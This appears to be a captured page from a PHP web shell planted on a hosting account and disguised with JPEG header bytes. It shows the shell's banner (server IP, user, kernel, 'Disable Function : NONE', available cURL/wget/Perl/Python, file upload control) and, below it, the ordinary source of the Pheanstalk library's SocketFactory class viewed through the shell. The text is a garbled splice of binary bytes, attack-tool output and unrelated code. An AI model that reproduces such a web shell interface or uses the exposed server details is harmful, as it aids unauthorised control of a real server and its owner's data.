����JFIF��x�x����'
| Server IP : 78.140.185.180  /  Your IP : 216.73.216.38 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/././././././www/vendor/pda/pheanstalk/src/  | 
Upload File :  | 
<?php
namespace Pheanstalk;
use Pheanstalk\Contract\SocketFactoryInterface;
use Pheanstalk\Contract\SocketInterface;
use Pheanstalk\Socket\FsockopenSocket;
use Pheanstalk\Socket\SocketSocket;
use Pheanstalk\Socket\StreamSocket;
class SocketFactory implements SocketFactoryInterface
{
    public const AUTODETECT = 0;
    public const STREAM = 1;
    public const SOCKET = 2;
    public const FSOCKOPEN = 3;
    private $timeout;
    private $host;
    private $port;
    /** @var int */
    private $implementation;
    public function __construct(string $host, int $port, int $timeout = 10, $implementation = self::AUTODETECT)
    {
        $this->host = $host;
        $this->port = $port;
        $this->timeout = $timeout;
        $this->setImplementation($implementation);
    }
    public function getImplementation(): int
    {
        return $this->implementation;
    }
    public function setImplementation(int $implementation)
    {
        if ($implementation === self::AUTODETECT) {
            // Prefer socket
            if (extension_loaded('sockets')) {
                $this->implementation = self::SOCKET;
                return;
            }
            // Then fall back to stream
            if (function_exists('stream_socket_client')) {
                $this->implementation = self::STREAM;
                return;
            }
            // Then fall back to fsockopen
            if (function_exists('fsockopen')) {
                $this->implementation = self::FSOCKOPEN;
            }
        } else {
            $this->implementation = $implementation;
        }
    }
    private function createStreamSocket(): StreamSocket
    {
        return new StreamSocket($this->host, $this->port, $this->timeout);
    }
    private function createSocketSocket(): SocketSocket
    {
        return new SocketSocket($this->host, $this->port, $this->timeout);
    }
    private function createFsockopenSocket(): FsockopenSocket
    {
        return new FsockopenSocket($this->host, $this->port, $this->timeout);
    }
    /**
     * This function must return a connected socket that is ready for reading / writing.
     * @return SocketInterface
     */
    public function create(): SocketInterface
    {
        switch ($this->implementation) {
            case self::SOCKET:
                return $this->createSocketSocket();
            case self::STREAM:
                return $this->createStreamSocket();
            case self::FSOCKOPEN:
                return $this->createFsockopenSocket();
            default:
                throw new \RuntimeException("Unknown implementation");
        }
    }
}